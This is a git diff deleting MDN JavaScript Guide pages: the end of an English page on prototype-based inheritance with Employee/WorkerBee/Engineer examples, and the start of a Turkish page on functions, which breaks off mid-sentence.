class Engineer extends WorkerBee { - public String dept = "engineering"; - public String machine = ""; -} - -</pre> -</div> - -<p>Using these definitions, you can create instances of these objects that get the default values for their properties. The next figure illustrates using these JavaScript definitions to create new objects and shows the property values for the new objects.</p> - -<div class="note"> -<p><strong>Note:</strong> The term <em><em>instance</em></em> has a specific technical meaning in class-based languages. In these languages, an instance is an individual instantiation of a class and is fundamentally different from a class. In JavaScript, "instance" does not have this technical meaning because JavaScript does not have this difference between classes and instances. However, in talking about JavaScript, "instance" can be used informally to mean an object created using a particular constructor function. So, in this example, you could informally say that <code><code>jane</code></code> is an instance of <code><code>Engineer</code></code>. Similarly, although the terms <em><em>parent</em>, <em>child</em>, <em>ancestor</em></em>, and <em><em>descendant</em></em> do not have formal meanings in JavaScript; you can use them informally to refer to objects higher or lower in the prototype chain.</p> -</div> - -<h3 id="Creating_objects_with_simple_definitions">Creating objects with simple definitions</h3> - -<div class="twocolumns"> -<h4 id="Object_hierarchy">Object hierarchy</h4> - -<p>The following hierarchy is created using the code on the right side.</p> - -<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p> - -<p> </p> - -<h4 id="Individual_objects_Jim_Sally_Mark_Fred_Jane_etc._Instances_created_from_constructor">Individual objects = Jim, Sally, Mark, Fred, Jane, etc.<br> - "Instances" created from constructor</h4> - -<pre class="brush: js">var jim = new Employee; -// Parentheses can be omitted if the -// constructor takes no arguments. -// jim.name is '' -// jim.dept is 'general' - -var sally = new Manager; -// sally.name is '' -// sally.dept is 'general' -// sally.reports is [] - -var mark = new WorkerBee; -// mark.name is '' -// mark.dept is 'general' -// mark.projects is [] - -var fred = new SalesPerson; -// fred.name is '' -// fred.dept is 'sales' -// fred.projects is [] -// fred.quota is 100 - -var jane = new Engineer; -// jane.name is '' -// jane.dept is 'engineering' -// jane.projects is [] -// jane.machine is '' -</pre> -</div> - -<h2 id="Object_properties">Object properties</h2> - -<p>This section discusses how objects inherit properties from other objects in the prototype chain and what happens when you add a property at run time.</p> - -<h3 id="Inheriting_properties">Inheriting properties</h3> - -<p>Suppose you create the <code>mark</code> object as a <code>WorkerBee</code> with the following statement:</p> - -<pre class="brush: js">var mark = new WorkerBee; -</pre> - -<p>When JavaScript sees the <code>new</code> operator, it creates a new generic object and implicitly sets the value of the internal property [[Prototype]] to the value of <code>WorkerBee.prototype</code> and passes this new object as the value of the <em><code>this</code></em> keyword to the <code>WorkerBee</code> constructor function. The internal [[Prototype]] property determines the prototype chain used to return property values. Once these properties are set, JavaScript returns the new object and the assignment statement sets the variable <code>mark</code> to that object.</p> - -<p>This process does not explicitly put values in the <code>mark</code> object (<em>local</em> values) for the properties that <code>mark</code> inherits from the prototype chain. When you ask for the value of a property, JavaScript first checks to see if the value exists in that object. If it does, that value is returned. If the value is not there locally, JavaScript checks the prototype chain (using the internal [[Prototype]] property). If an object in the prototype chain has a value for the property, that value is returned. If no such property is found, JavaScript says the object does not have the property. In this way, the <code>mark</code> object has the following properties and values:</p> - -<pre class="brush: js">mark.name = ''; -mark.dept = 'general'; -mark.projects = []; -</pre> - -<p>The <code>mark</code> object is assigned local values for the <code>name</code> and <code>dept</code> properties by the Employee constructor. It is assigned a local value for the <code>projects</code> property by the <code>WorkerBee</code> constructor. This gives you inheritance of properties and their values in JavaScript. Some subtleties of this process are discussed in <a href="#Property_inheritance_revisited">Property inheritance revisited</a>.</p> - -<p>Because these constructors do not let you supply instance-specific values, this information is generic. The property values are the default ones shared by all new objects created from <code>WorkerBee</code>. You can, of course, change the values of any of these properties. So, you could give specific information for <code>mark</code> as follows:</p> - -<pre class="brush: js">mark.name = 'Doe, Mark'; -mark.dept = 'admin'; -mark.projects = ['navigator'];</pre> - -<h3 id="Adding_properties">Adding properties</h3> - -<p>In JavaScript, you can add properties to any object at run time. You are not constrained to use only the properties provided by the constructor function. To add a property that is specific to a single object, you assign a value to the object, as follows:</p> - -<pre class="brush: js">mark.bonus = 3000; -</pre> - -<p>Now, the <code>mark</code> object has a <code>bonus</code> property, but no other <code>WorkerBee</code> has this property.</p> - -<p>If you add a new property to an object that is being used as the prototype for a constructor function, you add that property to all objects that inherit properties from the prototype. For example, you can add a <code>specialty</code> property to all employees with the following statement:</p> - -<pre class="brush: js">Employee.prototype.specialty = 'none'; -</pre> - -<p>As soon as JavaScript executes this statement, the <code>mark</code> object also has the <code>specialty</code> property with the value of <code>"none"</code>. The following figure shows the effect of adding this property to the <code>Employee</code> prototype and then overriding it for the <code>Engineer</code> prototype.</p> - -<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br> - <small><strong>Adding properties</strong></small></p> - -<h2 id="More_flexible_constructors">More flexible constructors</h2> - -<p>The constructor functions shown so far do not let you specify property values when you create an instance. As with Java, you can provide arguments to constructors to initialize property values for instances. The following figure shows one way to do this.</p> - -<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br> - <small><strong>Specifying properties in a constructor, take 1</strong></small></p> - -<p>The following table shows the Java and JavaScript definitions for these objects.</p> - -<div class="twocolumns"> -<h4 id="JavaScript_4">JavaScript</h4> - -<h4 id="Java_4">Java</h4> -</div> - -<div class="twocolumns"> -<pre class="brush: js">function Employee(name, dept) { - this.name = name || ''; - this.dept = dept || 'general'; -} -</pre> - -<p> </p> - -<p> </p> - -<p> </p> - -<p> </p> - -<p> </p> - -<pre class="brush: java">public class Employee { - public String name; - public String dept; - public Employee () { - this("", "general"); - } - public Employee (String name) { - this(name, "general"); - } - public Employee (String name, String dept) { - this.name = name; - this.dept = dept; - } -} -</pre> -</div> - -<div class="twocolumns"> -<pre class="brush: js">function WorkerBee(projs) { - - this.projects = projs || []; -} -WorkerBee.prototype = new Employee; -</pre> - -<p> </p> - -<p> </p> - -<p> </p> - -<pre class="brush: java">public class WorkerBee extends Employee { - public String[] projects; - public WorkerBee () { - this(new String[0]); - } - public WorkerBee (String[] projs) { - projects = projs; - } -} -</pre> -</div> - -<div class="twocolumns"> -<pre class="brush: js"> -function Engineer(mach) { - this.dept = 'engineering'; - this.machine = mach || ''; -} -Engineer.prototype = new WorkerBee; -</pre> - -<p> </p> - -<p> </p> - -<p> </p> - -<pre class="brush: java">public class Engineer extends WorkerBee { - public String machine; - public Engineer () { - dept = "engineering"; - machine = ""; - } - public Engineer (String mach) { - dept = "engineering"; - machine = mach; - } -} -</pre> -</div> - -<p>These JavaScript definitions use a special idiom for setting default values:</p> - -<pre class="brush: js">this.name = name || ''; -</pre> - -<p>The JavaScript logical OR operator (<code>||</code>) evaluates its first argument. If that argument converts to true, the operator returns it. Otherwise, the operator returns the value of the second argument. Therefore, this line of code tests to see if <code>name</code> has a useful value for the <code>name</code> property. If it does, it sets <code>this.name</code> to that value. Otherwise, it sets <code>this.name</code> to the empty string. This chapter uses this idiom for brevity; however, it can be puzzling at first glance.</p> - -<div class="note"> -<p><strong>Note:</strong> This may not work as expected if the constructor function is called with arguments which convert to <code><code>false</code></code> (like <code>0</code> (zero) and empty string (<code><code>""</code></code>). In this case the default value will be chosen.</p> -</div> - -<p>With these definitions, when you create an instance of an object, you can specify values for the locally defined properties. You can use the following statement to create a new <code>Engineer</code>:</p> - -<pre class="brush: js">var jane = new Engineer('belau'); -</pre> - -<p><code>Jane</code>'s properties are now:</p> - -<pre class="brush: js">jane.name == ''; -jane.dept == 'engineering'; -jane.projects == []; -jane.machine == 'belau'; -</pre> - -<p>Notice that with these definitions, you cannot specify an initial value for an inherited property such as <code>name</code>. If you want to specify an initial value for inherited properties in JavaScript, you need to add more code to the constructor function.</p> - -<p>So far, the constructor function has created a generic object and then specified local properties and values for the new object. You can have the constructor add more properties by directly calling the constructor function for an object higher in the prototype chain. The following figure shows these new definitions.</p> - -<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br> - <small><strong>Specifying properties in a constructor, take 2</strong></small></p> - -<p>Let's look at one of these definitions in detail. Here's the new definition for the <code>Engineer</code> constructor:</p> - -<pre class="brush: js">function Engineer(name, projs, mach) { - this.base = WorkerBee; - this.base(name, 'engineering', projs); - this.machine = mach || ''; -} -</pre> - -<p>Suppose you create a new <code>Engineer</code> object as follows:</p> - -<pre class="brush: js">var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); -</pre> - -<p>JavaScript follows these steps:</p> - -<ol> - <li>The <code>new</code> operator creates a generic object and sets its <code>__proto__</code> property to <code>Engineer.prototype</code>.</li> - <li>The <code>new</code> operator passes the new object to the <code>Engineer</code> constructor as the value of the <code>this</code> keyword.</li> - <li>The constructor creates a new property called <code>base</code> for that object and assigns the value of the <code>WorkerBee</code> constructor to the <code>base</code> property. This makes the <code>WorkerBee</code> constructor a method of the <code>Engineer</code> object. The name of the <code>base</code> property is not special. You can use any legal property name; <code>base</code> is simply evocative of its purpose.</li> - <li>The constructor calls the <code>base</code> method, passing as its arguments two of the arguments passed to the constructor (<code>"Doe, Jane"</code> and <code>["navigator", "javascript"]</code>) and also the string <code>"engineering"</code>. Explicitly using <code>"engineering"</code> in the constructor indicates that all <code>Engineer</code> objects have the same value for the inherited <code>dept</code> property, and this value overrides the value inherited from <code>Employee</code>.</li> - <li>Because <code>base</code> is a method of <code>Engineer</code>, within the call to <code>base</code>, JavaScript binds the <code>this</code> keyword to the object created in Step 1. Thus, the <code>WorkerBee</code> function in turn passes the <code>"Doe, Jane"</code> and <code>"engineering"</code> arguments to the <code>Employee</code> constructor function. Upon return from the <code>Employee</code> constructor function, the <code>WorkerBee</code> function uses the remaining argument to set the <code>projects</code> property.</li> - <li>Upon return from the <code>base</code> method, the <code>Engineer</code> constructor initializes the object's <code>machine</code> property to <code>"belau"</code>.</li> - <li>Upon return from the constructor, JavaScript assigns the new object to the <code>jane</code> variable.</li> -</ol> - -<p>You might think that, having called the <code>WorkerBee</code> constructor from inside the <code>Engineer</code> constructor, you have set up inheritance appropriately for <code>Engineer</code> objects. This is not the case. Calling the <code>WorkerBee</code> constructor ensures that an <code>Engineer</code> object starts out with the properties specified in all constructor functions that are called. However, if you later add properties to the <code>Employee</code> or <code>WorkerBee</code> prototypes, those properties are not inherited by the <code>Engineer</code> object. For example, assume you have the following statements:</p> - -<pre class="brush: js">function Engineer(name, projs, mach) { - this.base = WorkerBee; - this.base(name, 'engineering', projs); - this.machine = mach || ''; -} -var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); -Employee.prototype.specialty = 'none'; -</pre> - -<p>The <code>jane</code> object does not inherit the <code>specialty</code> property. You still need to explicitly set up the prototype to ensure dynamic inheritance. Assume instead you have these statements:</p> - -<pre class="brush: js">function Engineer(name, projs, mach) { - this.base = WorkerBee; - this.base(name, 'engineering', projs); - this.machine = mach || ''; -} -Engineer.prototype = new WorkerBee; -var jane = new Engineer('Doe, Jane', ['navigator', 'javascript'], 'belau'); -Employee.prototype.specialty = 'none'; -</pre> - -<p>Now the value of the <code>jane</code> object's <code>specialty</code> property is "none".</p> - -<p>Another way of inheriting is by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> / <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a> methods. Below are equivalent:</p> - -<div class="twocolumns"> -<pre class="brush: js">function Engineer(name, projs, mach) { - this.base = WorkerBee; - this.base(name, 'engineering', projs); - this.machine = mach || ''; -} -</pre> - -<pre class="brush: js">function Engineer(name, projs, mach) { - WorkerBee.call(this, name, 'engineering', projs); - this.machine = mach || ''; -} -</pre> -</div> - -<p>Using the javascript <code>call()</code> method makes a cleaner implementation because the <code>base</code> is not needed anymore.</p> - -<h2 id="Property_inheritance_revisited">Property inheritance revisited</h2> - -<p>The preceding sections described how JavaScript constructors and prototypes provide hierarchies and inheritance. This section discusses some subtleties that were not necessarily apparent in the earlier discussions.</p> - -<h3 id="Local_versus_inherited_values">Local versus inherited values</h3> - -<p>When you access an object property, JavaScript performs these steps, as described earlier in this chapter:</p> - -<ol> - <li>Check to see if the value exists locally. If it does, return that value.</li> - <li>If there is not a local value, check the prototype chain (using the <code>__proto__</code> property).</li> - <li>If an object in the prototype chain has a value for the specified property, return that value.</li> - <li>If no such property is found, the object does not have the property.</li> -</ol> - -<p>The outcome of these steps depends on how you define things along the way. The original example had these definitions:</p> - -<pre class="brush: js">function Employee() { - this.name = ''; - this.dept = 'general'; -} - -function WorkerBee() { - this.projects = []; -} -WorkerBee.prototype = new Employee; -</pre> - -<p>With these definitions, suppose you create <code>amy</code> as an instance of <code>WorkerBee</code> with the following statement:</p> - -<pre class="brush: js">var amy = new WorkerBee; -</pre> - -<p>The <code>amy</code> object has one local property, <code>projects</code>. The values for the <code>name</code> and <code>dept</code> properties are not local to <code>amy</code> and so derive from the <code>amy</code> object's <code>__proto__</code> property. Thus, <code>amy</code> has these property values:</p> - -<pre class="brush: js">amy.name == ''; -amy.dept == 'general'; -amy.projects == []; -</pre> - -<p>Now suppose you change the value of the <code>name</code> property in the prototype associated with <code>Employee</code>:</p> - -<pre class="brush: js">Employee.prototype.name = 'Unknown'; -</pre> - -<p>At first glance, you might expect that new value to propagate down to all the instances of <code>Employee</code>. However, it does not.</p> - -<p>When you create <em>any</em> instance of the <code>Employee</code> object, that instance gets a <strong>local value</strong> for the <code>name</code> property (the empty string). This means that when you set the <code>WorkerBee</code> prototype by creating a new <code>Employee</code> object, <code>WorkerBee.prototype</code> has a local value for the <code>name</code> property. Therefore, when JavaScript looks up the <code>name</code> property of the <code>amy</code> object (an instance of <code>WorkerBee</code>), JavaScript finds the local value for that property in <code>WorkerBee.prototype</code>. It therefore does not look further up the chain to <code>Employee.prototype</code>.</p> - -<p>If you want to change the value of an object property at run time and have the new value be inherited by all descendants of the object, you cannot define the property in the object's constructor function. Instead, you add it to the constructor's associated prototype. For example, assume you change the preceding code to the following:</p> - -<pre class="brush: js">function Employee() { - this.dept = 'general'; // Note that this.name (a local variable) does not appear here -} -Employee.prototype.name = ''; // A single copy - -function WorkerBee() { - this.projects = []; -} -WorkerBee.prototype = new Employee; - -var amy = new WorkerBee; - -Employee.prototype.name = 'Unknown'; -</pre> - -<p>In this case, the <code>name</code> property of <code>amy</code> becomes "Unknown".</p> - -<p>As these examples show, if you want to have default values for object properties and you want to be able to change the default values at run time, you should set the properties in the constructor's prototype, not in the constructor function itself.</p> - -<h3 id="Determining_instance_relationships">Determining instance relationships</h3> - -<p>Property lookup in JavaScript looks within an object's own properties and, if the property name is not found, it looks within the special object property <code>__proto__</code>. This continues recursively; the process is called "lookup in the prototype chain".</p> - -<p>The special property <code>__proto__</code> is set when an object is constructed; it is set to the value of the constructor's <code>prototype</code> property. So the expression <code>new Foo()</code> creates an object with <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Consequently, changes to the properties of <code class="moz-txt-verticalline">Foo.prototype</code> alters the property lookup for all objects that were created by <code>new Foo()</code>.</p> - -<p>Every object has a <code>__proto__</code> object property (except <code>Object</code>); every function has a <code>prototype</code> object property. So objects can be related by 'prototype inheritance' to other objects. You can test for inheritance by comparing an object's <code>__proto__</code> to a function's <code>prototype</code> object. JavaScript provides a shortcut: the <code>instanceof</code> operator tests an object against a function and returns true if the object inherits from the function prototype. For example,</p> - -<pre class="brush: js">var f = new Foo(); -var isTrue = (f instanceof Foo);</pre> - -<p>For a more detailed example, suppose you have the same set of definitions shown in <a href="#Inheriting_properties">Inheriting properties</a>. Create an <code>Engineer</code> object as follows:</p> - -<pre class="brush: js">var chris = new Engineer('Pigman, Chris', ['jsd'], 'fiji'); -</pre> - -<p>With this object, the following statements are all true:</p> - -<pre class="brush: js">chris.__proto__ == Engineer.prototype; -chris.__proto__.__proto__ == WorkerBee.prototype; -chris.__proto__.__proto__.__proto__ == Employee.prototype; -chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype; -chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null; -</pre> - -<p>Given this, you could write an <code>instanceOf</code> function as follows:</p> - -<pre class="brush: js">function instanceOf(object, constructor) { - object = object.__proto__; - while (object != null) { - if (object == constructor.prototype) - return true; - if (typeof object == 'xml') { - return constructor.prototype == XML.prototype; - } - object = object.__proto__; - } - return false; -} -</pre> - -<div class="note"><strong>Note:</strong> The implementation above checks the type of the object against "xml" in order to work around a quirk of how XML objects are represented in recent versions of JavaScript. See {{ bug(634150) }} if you want the nitty-gritty details.</div> - -<p>Using the instanceOf function defined above, these expressions are true:</p> - -<pre class="brush: js">instanceOf(chris, Engineer) -instanceOf(chris, WorkerBee) -instanceOf(chris, Employee) -instanceOf(chris, Object) -</pre> - -<p>But the following expression is false:</p> - -<pre class="brush: js">instanceOf(chris, SalesPerson) -</pre> - -<h3 id="Global_information_in_constructors">Global information in constructors</h3> - -<p>When you create constructors, you need to be careful if you set global information in the constructor. For example, assume that you want a unique ID to be automatically assigned to each new employee. You could use the following definition for <code>Employee</code>:</p> - -<pre class="brush: js">var idCounter = 1; - -function Employee(name, dept) { - this.name = name || ''; - this.dept = dept || 'general'; - this.id = idCounter++; -} -</pre> - -<p>With this definition, when you create a new <code>Employee</code>, the constructor assigns it the next ID in sequence and then increments the global ID counter. So, if your next statement is the following, <code>victoria.id</code> is 1 and <code>harry.id</code> is 2:</p> - -<pre class="brush: js">var victoria = new Employee('Pigbert, Victoria', 'pubs'); -var harry = new Employee('Tschopik, Harry', 'sales'); -</pre> - -<p>At first glance that seems fine. However, <code>idCounter</code> gets incremented every time an <code>Employee</code> object is created, for whatever purpose. If you create the entire <code>Employee</code> hierarchy shown in this chapter, the <code>Employee</code> constructor is called every time you set up a prototype. Suppose you have the following code:</p> - -<pre class="brush: js">var idCounter = 1; - -function Employee(name, dept) { - this.name = name || ''; - this.dept = dept || 'general'; - this.id = idCounter++; -} - -function Manager(name, dept, reports) {...} -Manager.prototype = new Employee; - -function WorkerBee(name, dept, projs) {...} -WorkerBee.prototype = new Employee; - -function Engineer(name, projs, mach) {...} -Engineer.prototype = new WorkerBee; - -function SalesPerson(name, projs, quota) {...} -SalesPerson.prototype = new WorkerBee; - -var mac = new Engineer('Wood, Mac'); -</pre> - -<p>Further assume that the definitions omitted here have the <code>base</code> property and call the constructor above them in the prototype chain. In this case, by the time the <code>mac</code> object is created, <code>mac.id</code> is 5.</p> - -<p>Depending on the application, it may or may not matter that the counter has been incremented these extra times. If you care about the exact value of this counter, one possible solution involves instead using the following constructor:</p> - -<pre class="brush: js">function Employee(name, dept) { - this.name = name || ''; - this.dept = dept || 'general'; - if (name) - this.id = idCounter++; -} -</pre> - -<p>When you create an instance of <code>Employee</code> to use as a prototype, you do not supply arguments to the constructor. Using this definition of the constructor, when you do not supply arguments, the constructor does not assign a value to the id and does not update the counter. Therefore, for an <code>Employee</code> to get an assigned id, you must specify a name for the employee. In this example, <code>mac.id</code> would be 1.</p> - -<p>Alternatively, you can create a copy of Employee's prototype object to assign to WorkerBee:</p> - -<pre class="brush: js">WorkerBee.prototype = Object.create(Employee.prototype); -// instead of WorkerBee.prototype = new Employee -</pre> - -<h3 id="No_multiple_inheritance">No multiple inheritance</h3> - -<p>Some object-oriented languages allow multiple inheritance. That is, an object can inherit the properties and values from unrelated parent objects. JavaScript does not support multiple inheritance.</p> - -<p>Inheritance of property values occurs at run time by JavaScript searching the prototype chain of an object to find a value. Because an object has a single associated prototype, JavaScript cannot dynamically inherit from more than one prototype chain.</p> - -<p>In JavaScript, you can have a constructor function call more than one other constructor function within it. This gives the illusion of multiple inheritance. For example, consider the following statements:</p> - -<pre class="brush: js">function Hobbyist(hobby) { - this.hobby = hobby || 'scuba'; -} - -function Engineer(name, projs, mach, hobby) { - this.base1 = WorkerBee; - this.base1(name, 'engineering', projs); - this.base2 = Hobbyist; - this.base2(hobby); - this.machine = mach || ''; -} -Engineer.prototype = new WorkerBee; - -var dennis = new Engineer('Doe, Dennis', ['collabra'], 'hugo'); -</pre> - -<p>Further assume that the definition of <code>WorkerBee</code> is as used earlier in this chapter. In this case, the <code>dennis</code> object has these properties:</p> - -<pre class="brush: js">dennis.name == 'Doe, Dennis'; -dennis.dept == 'engineering'; -dennis.projects == ['collabra']; -dennis.machine == 'hugo'; -dennis.hobby == 'scuba'; -</pre> - -<p>So <code>dennis</code> does get the <code>hobby</code> property from the <code>Hobbyist</code> constructor. However, assume you then add a property to the <code>Hobbyist</code> constructor's prototype:</p> - -<pre class="brush: js">Hobbyist.prototype.equipment = ['mask', 'fins', 'regulator', 'bcd']; -</pre> - -<p>The <code>dennis</code> object does not inherit this new property.</p> - -<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Using_promises")}}</div> diff --git a/files/tr/web/javascript/guide/functions/index.html b/files/tr/web/javascript/guide/functions/index.html deleted file mode 100644 index ff7638ebb5..0000000000 --- a/files/tr/web/javascript/guide/functions/index.html +++ /dev/null @@ -1,663 +0,0 @@ ---- -title: Fonksiyonlar -slug: Web/JavaScript/Guide/Functions -tags: - - Başlangıç seviyesi - - Fonksiyonlar - - Rehber -translation_of: Web/JavaScript/Guide/Functions -original_slug: Web/JavaScript/Guide/Fonksiyonlar ---- -<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</div> - -<p class="summary">Foksiyonlar, JavaScript'in en temel yapıtaşlarından biridir. Her bir fonksiyon, bir JavaScript işlemidir—herhangi bir görevi yerine getiren veya değer hesaplayan bir ifade kümesini içerirler. Bir fonksiyonu kullanmak için, fonksiyonu çağıracağınız kısmın faaliyet gösterdiği alanda fonksiyonu tanımlıyor olmanız gerekmektedir.</p> - -<p>Daha fazla bilgi için <a href="/en-US/docs/Web/JavaScript/Reference/Functions">JavaScript fonksiyonları ile ilgili buradaki detaylı kaynağı</a> inceleyebilirsiniz.</p> - -<h2 id="Fonksiyonların_tanımlanması">Fonksiyonların tanımlanması</h2> - -<h3 id="Fonksiyon_tanımlamaları">Fonksiyon tanımlamaları</h3> - -<p>Bir <strong>fonksiyon tanımı</strong> (<strong>fonksiyon betimlemesi</strong>, veya <strong>fonksiyon ifadesi</strong> de denir) <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function" title="function"><code>function</code></a> anahtar kelimesinden sonra aşağıdaki kısımları içerir:</p> - -<ul> - <li>Fonksiyonun adı.</li> - <li>Fonksiyonun aldığı parametreler (parantezler ile çevrili ve virgüller ile birbirinden ayrılmış olmalıdırlar).</li> - <li>Çalıştırılacak JavaScript ifadeleri (süslü parantezler ile çevrilmelidir<font face="Consolas, Liberation Mono, Courier, monospace">)</font>.</li> -</ul> - -<p>Örneğin aşağıdaki kodda <code>karesiniAl</code> isimli basit bir fonksiyon tanımlanmıştır:</p> - -<pre class="brush: js">function <code>karesiniAl</code>(sayı) { - return sayı * sayı; -} -</pre> - -<p><code>karesiniAl</code> fonksiyonu, <code>sayı</code> isminde tek bir parametre içerir. Tek bir ifade içeren fonksiyonda, <code>sayı</code> parametresinin kendisi ile çarpılıp geri döndürülmesi işlemi yapılmıştır. <a href="/en-US/docs/Web/JavaScript/Reference/Statements/return" title="return"><code>return</code></a> ifadesi, fonksiyon tarafından döndürülen değeri belirler.</p> - -<pre class="brush: js">return sayı * sayı; -</pre> - -<p>Sayı türünde olduğu gibi ilkel parametreler fonksiyonlara <strong>değer ile geçilirler</strong>; ilgili değer, fonksiyona parametre olarak geçildiğinde parametre değerinin fonksiyonda ayrı bir kopyası alınır, eğer fonksiyon içerisinde parametre değerinde değişik yapılırsa, bu değişiklik sadece kopyalanan değer üzerinde gerçekleşmiştir, fonksiyona geçilen asıl değer değişmez.</p> - -<p>Eğer bir nesneyi ({{jsxref("Array")}} veya bir kullanıcı tanımlı nesne gibi ilkel olmayan değer) fonksiyona parametre olarak geçerseniz, nesne fonksiyon içerisinde kopyalanmadığı için nesne üzerinde yapılan değişiklikler fonksiyon dışında da korunur. Aşağıdaki örneği inceleyelim:</p> - -<pre class="brush: js">function arabamıDeğiştir(araba) { - araba.markası = "Toyota"; -} - -var arabam = {markası: "Honda", modeli: "Accord", yılı: 1998}; -var x, y; - -x = arabam.markası ; // "Honda" değerini getirir - -arabamıDeğiştir(arabam); -y = arabam.markası; // "Toyota" değeri döndürülür - // (markası özelliği fonksiyon tarafından değiştirilmiştir) -</pre> - -<h3 id="Fonksiyon_ifadeleri">Fonksiyon ifadeleri</h3> - -<p>Yukarıdaki fonksiyon tanımlaması sözdizimsel olarak bir ifade olmasına rağmen, fonksiyonlar ayrıca bir f<strong>onksiyon ifadesi </strong>ile de oluşturulabilirler. Böyle bir fonksiyon <strong>anonim</strong> olabilir; bir isme sahip olmak zorunda değildir. Örnek olarak, matematikteki kare alma fonksiyonu aşağıdaki şekilde tanımlanabilir:</p> - -<pre class="brush: js">var karesiniAl = function(sayı) { return sayı * sayı }; -var x = karesiniAl(4) // x'in değeri 16 olur.</pre> - -<p>Fonksiyon ifadesi ile belirtilen fonksiyon adı, fonksiyonun içerisinde kendisini çağıracak şekilde kullanılabilir:</p> - -<pre class="brush: js">var faktoriyel = function fa(n) { return n < 2 ? 1 : n * fa(n-1) }; - -console.log(faktoriyel(3)); -</pre> - -<p>Fonksiyon ifadeleri, bir fonksiyon diğer fonksiyona parametre olarak geçilirken oldukça elverişlidir. Aşağıdaki örnekte <code>map</code> fonksiyonu tanımlanmış ve ilk parametresinde başka bir fonksiyonu parametre olarak almıştır:</p> - -<pre class="brush: js">function map(f,d) { - var sonuç = [], // Yeni bir dizi - i; - for (i = 0; i != d.length; i++) - sonuç[i] = f(d[i]); - return sonuç; -} -</pre> - -<p>Aşağıdaki kodda kullanımı mevcuttur:</p> - -<pre class="brush: js">var çarpım = function(x) {return x * x * x}; // Fonksiyon ifadesi. -map(çarpım, [0, 1, 2, 5, 10]); -</pre> - -<p>[0, 1, 8, 125, 1000] dizisini döndürür.</p> - -<p>JavaScript'te bir fonksiyon, herhangi bir duruma bağlı olarak oluşturulabilir.Örneğin aşağıdaki fonksiyonda <code>benimFonk</code> fonksiyonu, <code>sayı</code> değeri sadece 0'a eşit olursa tanımlanır:</p> - -<pre class="brush: js">var <code>benimFonk</code>; -if (sayı === 0){ - <code>benimFonk </code>= function(araba) { - araba.marka = "Toyota" - } -}</pre> - -<p>Burada tanımlanan fonksiyonlara ek olarak {{jsxref("Function")}} yapıcısını kullanarak da çalışma zamanında fonksiyon oluşmasını sağlanabilir. Örneğin {{jsxref("eval", "eval()")}} ifadesi gibi.</p> - -<p>Bir nesnenin özelliği olan fonksiyona <strong>metot</strong> adı verilir. Nesneler ve metotlar hakkında daha fazla bilgi için bkz: <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects" title="en-US/docs/JavaScript/Guide/Working with Objects">Nesneler ile çalışma</a>.</p> - -<h2 id="Fonksiyonları_çağırma">Fonksiyonları çağırma</h2> - -<p>Bir fonksiyonu tanımlamakla o fonksiyon çalışmaz. Fonksiyonu tanımlamak kısaca, o fonksiyona bir isim vermek ve o fonkisyon çağırıldığında bizim için hangi eylemleri yapması gerektiğini belirtmektir. Fonksiyonu <strong>çağırmak</strong>, bu belirlenmiş eylemleri bizim o fonksiyona verdiğimiz parametrelerin de kullanılmasıyla gerçekleştirir. Örneğin, <code>karesiniAl </code>diye bir fonksiyon tanımladığınızda, o fonksiyonu aşağıdaki gibi çağırabilirsiniz:</p> - -<pre class="brush: js"><code>karesiniAl</code>(5); -</pre> - -<p>Bu ifade, fonksiyona parametre olarak 5 sayısını yollayarak çağırır. Fonksiyon, tanımlanırken belirttiğimiz eylemleri yapar ve bize 25 değerini döndürür.</p> - -<p>Fonksiyonlar çağrıldıklarında bir alanda olmalıdılar, fakat fonksiyon bildirimi kaldırılabilir, örnekteki gibi:</p> - -<pre class="brush: js">console.log(square(5)); -/* ... */ -function square(n) { return n * n } -</pre> - -<p>Bir fonksiyonun alanı, bildirilen işlevdir, veya tüm program üst seviyede bildirilmişse.</p> - -<div class="note"> -<p><strong>Not:</strong> Bu, yalnızca yukarıdaki sözdizimini (i.e. <code>function benimFonk(){}</code>) işlevini kullanarak işlevi tanımlarken çalışır. Aşağıdaki kod çalışmayacak. Yani, işlev kaldırma sadece işlev bildirimi ile çalışır ve işlev ifadesiyle çalışamaz.</p> -</div> - -<pre class="brush: js example-bad">console.log(square); // square is hoisted with an initial value undefined. -console.log(square(5)); // TypeError: square is not a function -var square = function (n) { - return n * n; -} -</pre> - -<p>Bir fonksiyonun argümanları karakter dizileri ve sayılarla sınırlı değildir. Tüm nesneleri bir fonksiyona aktarabilirsiniz. <code>show_props()</code> fonksiyonu (<a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_Properties" title="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Working_with_Objects#Objects_and_Properties">Working with objects</a> bölümünde tanımlanmıştır.) nesneyi argüman olarak alan bir fonksiyon örneğidir.</p> - -<p>Bir fonksiyon kendini çağırabilir. Örneğin, burada faktöriyelleri yinelemeli olarak hesaplayan bir fonksiyon var.</p> - -<pre class="brush: js">function factorial(n){ - if ((n === 0) || (n === 1)) - return 1; - else - return (n * factorial(n - 1)); -} -</pre> - -<p>Daha sonra bir ile beş arasındaki faktöriyelleri şu şekilde hesaplayabilirsiniz:</p> - -<pre class="brush: js">var a, b, c, d, e; -a = factorial(1); // a gets the value 1 -b = factorial(2); // b gets the value 2 -c = factorial(3); // c gets the value 6 -d = factorial(4); // d gets the value 24 -e = factorial(5); // e gets the value 120 -</pre> - -<p>Fonksiyonları 